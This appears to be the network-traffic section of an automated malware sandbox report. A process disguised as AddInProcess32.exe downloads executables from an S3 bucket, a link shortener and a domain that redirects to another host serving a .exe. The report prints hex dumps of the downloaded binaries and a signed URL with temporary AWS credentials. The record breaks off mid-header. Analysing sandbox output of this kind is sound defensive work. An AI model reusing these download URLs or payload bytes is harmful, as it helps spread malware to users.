2024-03-11 02:30:58 UTC	1369	IN	Data Raw: fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 Data Ascii: D$9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	55603	52.217.234.57	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	1119	OUT	GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1 Host: bbuseruploads.s3.amazonaws.com
2024-03-11 02:30:58 UTC	536	IN	HTTP/1.1 200 OK x-amz-id-2: pN+25j41gyb74EHB+eJy49Vdf4NthgnSijpKpjdohOhz0WkTbNVlNkts5bnBrqPEr8ROg13kTBk= x-amz-request-id: D1AT10ZBFPRP300R Date: Mon, 11 Mar 2024 02:30:59 GMT Last-Modified: Sat, 09 Mar 2024 01:51:54 GMT ETag: "d9578a8e9ee343bc53b08fd8101f66e9" x-amz-server-side-encryption: AES256 x-amz-version-id: P5m1d1MT8MpyYgT1paykScDnj4a0CXh_ Content-Disposition: attachment; filename="a02.exe" Accept-Ranges: bytes Content-Type: application/octet-stream Server: AmazonS3 Content-Length: 323584 Connection: close
2024-03-11 02:30:58 UTC	15757	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 08 61 dd 66 4c 00 b3 35 4c 00 b3 35 4c 00 b3 35 cf 08 ee 35 4e 00 b3 35 6b c6 ce 35 58 00 b3 35 6b c6 de 35 26 00 b3 35 6b c6 dd 35 60 00 b3 35 8f 0f ee 35 43 00 b3 35 4c 00 b2 35 cb 00 b3 35 6b c6 c1 35 4a 00 b3 35 6b c6 cb 35 4d 00 b3 35 52 69 63 68 4c 00 b3 35 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 3f be eb 65 00 00 00 00 00 00 00 00 e0 00 03 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$afL5L5L55N5k5X5k5&5k5`55C5L55k5J5k5M5RichL5PEL?e
2024-03-11 02:30:58 UTC	16384	IN	Data Raw: c0 08 c3 e8 a4 29 00 00 85 c0 75 06 b8 d8 c1 44 00 c3 83 c0 08 c3 e8 91 29 00 00 85 c0 75 06 b8 dc c1 44 00 c3 83 c0 0c c3 56 e8 e7 ff ff ff 8b 4c 24 08 51 89 08 e8 8d ff ff ff 59 8b f0 e8 c0 ff ff ff 89 30 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 54 24 0c 8b 4c 24 04 85 d2 74 69 33 c0 8a 44 24 08 84 c0 75 16 81 fa 00 01 00 00 72 0e 83 3d 34 dc 44 00 00 74 05 e9 c5 54 00 00 57 8b f9 83 fa 04 72 31 f7 d9 83 e1 03 74 0c 2b d1 88 07 83 c7 01 83 e9 01 75 f6 8b c8 c1 e0 08 03 c1 8b c8 c1 e0 10 03 c1 8b ca 83 e2 03 c1 e9 02 74 06 f3 ab 85 d2 74 0a 88 07 83 c7 01 83 ea 01 75 f6 8b 44 24 08 5f c3 8b 44 24 04 c3 cc cc cc cc cc cc 55 8b ec 57 56 8b 75 0c 8b 4d 10 8b 7d 08 8b c1 8b d1 03 c6 3b fe 76 08 3b f8 0f 82 a4 01 00 00 81 f9 00 01 00 00 72 1f 83 3d 34 dc Data Ascii: )uD)uDVL$QY0^T$L$ti3D$ur=4DtTWr1t+uttuD$_D$UWVuM};v;r=4
2024-03-11 02:30:58 UTC	1024	IN	Data Raw: 4d 0c 8a 06 ff 45 0c 88 01 eb 0d e8 f8 3b 00 00 85 c0 59 74 03 46 ff 07 ff 07 8b 55 0c 46 e9 56 ff ff ff 85 d2 74 07 c6 02 00 42 89 55 0c ff 07 8b 4d 10 e9 0e ff ff ff 8b 45 08 85 c0 5e 5b 74 03 83 20 00 ff 01 c9 c3 55 8b ec 83 ec 0c 53 33 db 39 1d 74 ed 44 00 56 57 75 05 e8 b7 26 00 00 68 04 01 00 00 be 98 d9 44 00 56 53 88 1d 9c da 44 00 ff 15 40 e0 40 00 a1 9c ed 44 00 3b c3 89 35 48 d6 44 00 74 07 38 18 89 45 fc 75 03 89 75 fc 8b 55 fc 8d 45 f8 50 53 53 8d 7d f4 e8 0e fe ff ff 8b 45 f8 83 c4 0c 3d ff ff ff 3f 73 4a 8b 4d f4 83 f9 ff 73 42 8b f8 c1 e7 02 8d 04 0f 3b c1 72 36 50 e8 0a 15 00 00 8b f0 3b f3 59 74 29 8b 55 fc 8d 45 f8 50 03 fe 57 56 8d 7d f4 e8 cd fd ff ff 8b 45 f8 83 c4 0c 48 a3 2c d6 44 00 89 35 30 d6 44 00 33 c0 eb 03 83 c8 ff 5f 5e 5b Data Ascii: ME;YtFUFVtBUME^[t US39tDVWu&hDVSD@@D;5HDt8EuuUEPSS}E=?sJMsB;r6P;Yt)UEPWV}EH,D50D3_^[
2024-03-11 02:30:58 UTC	16384	IN	Data Raw: e1 40 00 85 c0 74 34 89 3e 25 ff 00 00 00 83 f8 02 75 06 80 4e 04 40 eb 09 83 f8 03 75 04 80 4e 04 08 68 a0 0f 00 00 8d 46 0c 50 e8 a2 28 00 00 59 59 85 c0 74 37 ff 46 08 eb 0a 80 4e 04 40 c7 06 fe ff ff ff 43 83 fb 03 0f 8c 67 ff ff ff ff 35 38 dc 44 00 ff 15 34 e1 40 00 33 c0 eb 11 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff 83 c8 ff e8 d7 db ff ff c3 56 57 b8 a4 a8 44 00 bf a4 a8 44 00 3b c7 8b f0 73 0f 8b 06 85 c0 74 02 ff d0 83 c6 04 3b f7 72 f1 5f 5e c3 56 57 b8 ac a8 44 00 bf ac a8 44 00 3b c7 8b f0 73 0f 8b 06 85 c0 74 02 ff d0 83 c6 04 3b f7 72 f1 5f 5e c3 55 8b ec 83 ec 10 a1 64 c0 44 00 83 65 f8 00 83 65 fc 00 53 57 bf 4e e6 40 bb 3b c7 bb 00 00 ff ff 74 0d 85 c3 74 09 f7 d0 a3 68 c0 44 00 eb 60 56 8d 45 f8 50 ff 15 48 e1 40 00 8b 75 fc 33 75 f8 Data Ascii: @t4>%uN@uNhFP(YYt7FN@Cg58D4@33@eEVWDD;st;r_^VWDD;st;r_^UdDeeSWN@;tthD`VEPH@u3u
2024-03-11 02:30:58 UTC	1024	IN	Data Raw: c1 f8 05 83 e7 1f 6b ff 28 8b 04 85 40 dc 44 00 8d 44 38 0c 50 ff 15 f0 e0 40 00 8b 45 e4 e8 29 9c ff ff c3 33 db 8b 7d 08 6a 0a e8 cf 8f ff ff 59 c3 8b 44 24 04 8b c8 83 e0 1f 6b c0 28 c1 f9 05 8b 0c 8d 40 dc 44 00 8d 44 01 0c 50 ff 15 ec e0 40 00 c3 55 8b ec 83 ec 10 a1 64 c0 44 00 33 c5 89 45 fc 56 33 f6 39 35 94 cd 44 00 74 4e 83 3d a4 cf 44 00 fe 75 05 e8 e7 14 00 00 a1 a4 cf 44 00 83 f8 ff 75 06 66 0d ff ff eb 70 56 8d 4d f0 51 6a 01 8d 4d 08 51 50 ff 15 94 e0 40 00 85 c0 75 67 83 3d 94 cd 44 00 02 75 db ff 15 68 e0 40 00 83 f8 78 75 d0 89 35 94 cd 44 00 56 56 6a 05 8d 45 f4 50 6a 01 8d 45 08 50 56 ff 15 98 e0 40 00 50 ff 15 50 e0 40 00 8b 0d a4 cf 44 00 83 f9 ff 74 a3 56 8d 55 f0 52 50 8d 45 f4 50 51 ff 15 9c e0 40 00 85 c0 74 8e 66 8b 45 08 8b 4d Data Ascii: k(@DD8P@E)3}jYD$k(@DDP@UdD3EV395DtN=DuDufpVMQjMQP@ug=Duh@xu5DVVjEPjEPV@PP@DtVURPEPQ@tfEM
2024-03-11 02:30:59 UTC	16384	IN	Data Raw: fb 74 dd c7 07 cc cc 00 00 83 c7 08 eb 1a 50 e8 93 66 ff ff 3b c3 59 74 09 c7 00 dd dd 00 00 83 c0 08 8b f8 eb 02 33 ff 3b fb 74 b4 ff 75 f8 53 57 e8 1d 78 ff ff 83 c4 0c ff 75 f8 57 ff 75 14 ff 75 f4 ff 75 0c ff 75 08 ff d6 3b c3 89 45 f8 75 04 33 f6 eb 25 ff 75 1c 8d 45 f8 ff 75 18 50 57 ff 75 20 ff 75 ec e8 8b 11 00 00 8b f0 89 75 f0 83 c4 18 f7 de 1b f6 23 75 f8 57 e8 95 fc ff ff 59 eb 1a ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 15 90 e0 40 00 8b f0 39 5d f4 74 09 ff 75 f4 e8 1f 65 ff ff 59 8b 45 f0 3b c3 74 0c 39 45 18 74 07 50 e8 0c 65 ff ff 59 8b c6 8d 65 e0 5f 5e 5b 8b 4d fc 33 cd e8 4d 61 ff ff c9 c3 55 8b ec 83 ec 10 ff 75 08 8d 4d f0 e8 0d 7f ff ff ff 75 28 8d 4d f0 ff 75 24 ff 75 20 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c Data Ascii: tPf;Yt3;tuSWxuWuuuu;Eu3%uEuPWu uu#uWYuuuuuu@9]tueYE;t9EtPeYe_^[M3MaUuMu(Mu$u uuuuu
2024-03-11 02:30:59 UTC	1024	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:59 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:59 UTC	1024	IN	Data Raw: 54 0c 04 0f b6 50 ff 88 54 0c 05 0f b6 10 88 54 0c 06 0f b6 50 01 88 54 0c 07 83 c1 04 83 c0 04 83 f9 08 72 d6 8b 4e 10 c1 e9 03 83 e1 3f 83 f9 38 b8 38 00 00 00 72 05 b8 78 00 00 00 2b c1 8d 4e 58 51 8b ce e8 d1 fe ff ff 8d 54 24 08 52 b8 08 00 00 00 8b ce e8 c0 fe ff ff 8d 46 02 83 c4 08 8d 4f 01 be 04 00 00 00 8b ff 0f b6 50 fe 88 51 ff 0f b6 50 ff 88 11 0f b6 10 88 51 01 0f b6 50 01 88 51 02 83 c0 04 83 c1 04 83 ee 01 75 db 8b 4c 24 0c 5e 33 cc e8 95 04 00 00 83 c4 0c c3 cc cc cc cc cc cc cc cc cc cc cc 81 ec 08 01 00 00 a1 28 c0 41 00 33 c4 89 84 24 04 01 00 00 56 8d 44 24 04 50 8d 4c 24 0c 51 c7 44 24 0c ff 00 00 00 ff 15 54 00 41 00 8d 44 24 08 33 c9 8d 70 01 8a 10 83 c0 01 84 d2 75 f7 2b c6 74 30 eb 0b 8d a4 24 00 00 00 00 8d 64 24 00 66 0f be 54 Data Ascii: TPTTPTrN?88rx+NXQT$RFOPQPQPQuL$^3(A3$VD$PL$QD$TAD$3pu+t0$d$fT
2024-03-11 02:30:59 UTC	16384	IN	Data Raw: 54 24 20 52 50 8b 41 0c ff d0 85 c0 0f 8c d7 00 00 00 68 b0 94 41 00 e8 4a 08 00 00 6a 30 8d 4c 24 28 6a 00 51 e8 31 32 00 00 8b 44 24 28 be 01 00 00 00 83 c4 10 8d 4c 24 20 66 89 74 24 28 66 89 74 24 26 66 c7 44 24 24 cf 07 66 c7 44 24 20 30 00 66 c7 44 24 30 0d 00 c7 44 24 40 07 00 00 00 66 89 74 24 44 8b 10 8b 52 0c 51 50 ff d2 85 c0 7c 6a 68 18 95 41 00 e8 e9 07 00 00 8b 44 24 10 8b 08 83 c4 04 8d 54 24 10 52 68 80 02 41 00 50 8b 01 ff d0 85 c0 7c 44 68 98 95 41 00 e8 c3 07 00 00 8b 44 24 14 8b 08 8b 51 18 83 c4 04 56 6a 00 50 ff d2 68 00 96 41 00 e8 a7 07 00 00 68 74 96 41 00 e8 9d 07 00 00 8b 44 24 18 8b 08 8b 51 08 83 c4 08 50 c6 44 24 0f 01 ff d2 8b 44 24 18 8b 08 8b 51 08 50 ff d2 8b 44 24 0c 8b 08 8b 51 08 50 ff d2 8b 44 24 14 8b 08 8b 51 08 50 Data Ascii: T$ RPAhAJj0L$(jQ12D$(L$ ft$(ft$&fD$$fD$ 0fD$0D$@ft$DRQP\|jhAD$T$RhAP\|DhAD$QVjPhAhtAD$QPD$D$QPD$QPD$QP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	55608	172.67.200.219	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	38	OUT	GET /ppg8x HTTP/1.1 Host: sty.ink
2024-03-11 02:30:59 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6Iithb1ZUUnNqMU9FODFRbG95SGNwZkE9PSIsInZhbHVlIjoiTEpIb3FVS2dYMWt4TWRacW5hTTZsNW5YT0x2YWQ0bktEUmRYRHZCZUJmMldEdWhrdm9qTEhuTUg1S1dRVTJQZkpRbzIrOXN2dnFqdDNKZWo3NW5rY1NxdUxpanNWNXpodmlmR1hCdm53aTc4UUtxQXNjZTJmZHZIQ2F5RG5Cb2IiLCJtYWMiOiIzY2U3YmRmNTY2MGExZGEzNzc3ZDA3YjUxMjliY2U1MWRjZmMxYjJmODQ4YzY0OGUwYTk0ZDNjY2NjNTllMDcyIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:58 GMT; Max-Age=7200; path=/; secure set-cookie: shortiny_session=eyJpdiI6IkNXMFEzT2dyMTc5aXJrSlU5Q0dXdXc9PSIsInZhbHVlIjoiZ21pM0EyQklVWkozYUl5alhOVG1lL3RvNkdGR0U5WFhGV3FKTzMveHQ1a1BYR3JtdFJ6OFVNN2lQQ3Y4aVR5WGxsVHI5SVhpWW5RRktEU0Y5YmFHdHNROXd4b21FejcvUWNFa0grUTl5Zzl2b3pCekdSY0tkanc2RW9leXVEYWsiLCJtYWMiOiI4NDYyZDU1NzQ0NWJhMjI0ZWExNzAzNTI0NmNhMTAzODFkYTZiNmE1NmQ3YjFiOTY1YzAyMzExODA1N2U4NzNkIiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:58 GMT; Max-Age=7200; path=/; httponly X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15768000 CF-Cache-Status: DYNAMIC
2024-03-11 02:30:59 UTC	397	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 41 41 6e 61 75 48 63 31 55 6d 50 68 30 70 62 41 31 69 34 65 58 55 25 32 42 4e 79 5a 56 45 36 39 56 4a 4d 51 50 6b 55 4e 45 6a 4d 6b 6f 63 52 53 30 48 56 34 5a 51 53 25 32 46 6e 4a 56 69 4e 51 7a 25 32 46 38 36 39 41 33 33 41 6b 6b 78 6b 43 44 46 76 37 4a 53 4a 50 36 4d 74 65 4b 77 31 56 61 45 42 39 34 76 4e 77 7a 67 25 32 42 25 32 42 4f 47 69 47 62 48 56 63 57 61 6e 66 4b 34 56 79 4a 46 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AAnauHc1UmPh0pbA1i4eXU%2BNyZVE69VJMQPkUNEjMkocRS0HV4ZQS%2FnJViNQz%2F869A33AkkxkCDFv7JSJP6MteKw1VaEB94vNwzg%2B%2BOGiGbHVcWanfK4VyJF"}],"group":"cf-nel","max_age":604800}NEL: {"
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 65 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 68 2d 31 30 30 20 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 2d 73 6d 6f 6f 74 68 20 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 43 53 52 46 20 54 6f 6b 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: e1b<!DOCTYPE html><html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> ... CSRF Token --> <meta name="csrf-token" content="
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 68 6f 72 74 69 6e 79 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 47 6f 20 62 61 63 6b 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 20 69 64 3d 22 66 6f 6f 74 65 72 22 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 20 62 67 2d 62 61 73 65 2d 30 20 64 2d 70 72 69 6e 74 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 Data Ascii: <a href="https://shortiny.com" class="btn btn-primary">Go back</a> </div> </div> </div> </div></div> <footer id="footer" class="footer bg-base-0 d-print-none"> <div class="container
2024-03-11 02:30:59 UTC	880	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 2d 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 2d 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 72 64 65 72 2d 30 20 6d 74 2d 30 20 6d 72 2d 33 20 6d 62 2d 33 20 6d 6c 2d 33 20 70 2d 32 20 72 6f 75 6e 64 65 64 20 63 6f 6f 6b 69 65 2d 62 61 6e 6e 65 72 20 Data Ascii: </div> </div> </div> <div class="fixed-bottom pointer-events-none"> <div class="d-flex justify-content-center align-items-center"> <div class="border-0 mt-0 mr-3 mb-3 ml-3 p-2 rounded cookie-banner
2024-03-11 02:30:59 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-03-11 02:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	55613	104.21.32.142	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	79	OUT	GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: shipofdestiny.com
2024-03-11 02:30:59 UTC	699	IN	HTTP/1.1 307 Temporary Redirect Date: Mon, 11 Mar 2024 02:30:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eqemgt6cKf2aeXT0vm1omBv9XWX4YnUHZMZhCCtLK9vpGgxWrwB2XPc%2FAuzkrD3JQfYmHdtf2jFq4L5RSXRgyJ7xbHf9Ky0zSz4Z2ne28sTO5nnxugB5oPUrj8jCXSr%2FprGdWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 862820297e8d0ad5-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:59 UTC	135	IN	Data Raw: 38 31 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 77 79 65 72 62 75 79 65 72 2e 6f 72 67 2f 32 36 62 36 32 36 66 65 61 32 39 30 31 35 61 39 66 32 34 65 30 37 61 30 38 66 61 30 31 31 65 34 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 81<a href="https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe">Temporary Redirect</a>.
2024-03-11 02:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	55614	172.67.200.219	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	38	OUT	GET /ppg8x HTTP/1.1 Host: sty.ink
2024-03-11 02:30:59 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik9OYWNSbHA3Rll5b016anZ4YjAzYnc9PSIsInZhbHVlIjoiaGtCUnNIK05pZ0wvMlZHQWNRNGEwRG56aDFCMVlyY3FGTWVSTVNrMkx5K1Uvd2o3U1JvNmhzSkFtb25uL0pXZlVWRWdsNmZZbk9pNDEyOWVqYnM3Wk5qd3VPNXBsaktOQXp0Zi9XaXVETzhCNXV1RkpxTEd1Ymg1OXFDeTVMNngiLCJtYWMiOiJkYmI1ZDg0OWIxYjA5MWRiMzg1ZWRiYzhiYmQzNGY3OGQzNjAyMzg3NjQ3M2JlN2QzZTQyNWIzMjE3MjE2YWU3IiwidGFnIjoiIn0%3D; expires=Mon, 11 Mar 2024 04:30:58 GMT; Max-Age=7200; path=/; secure set-cookie: 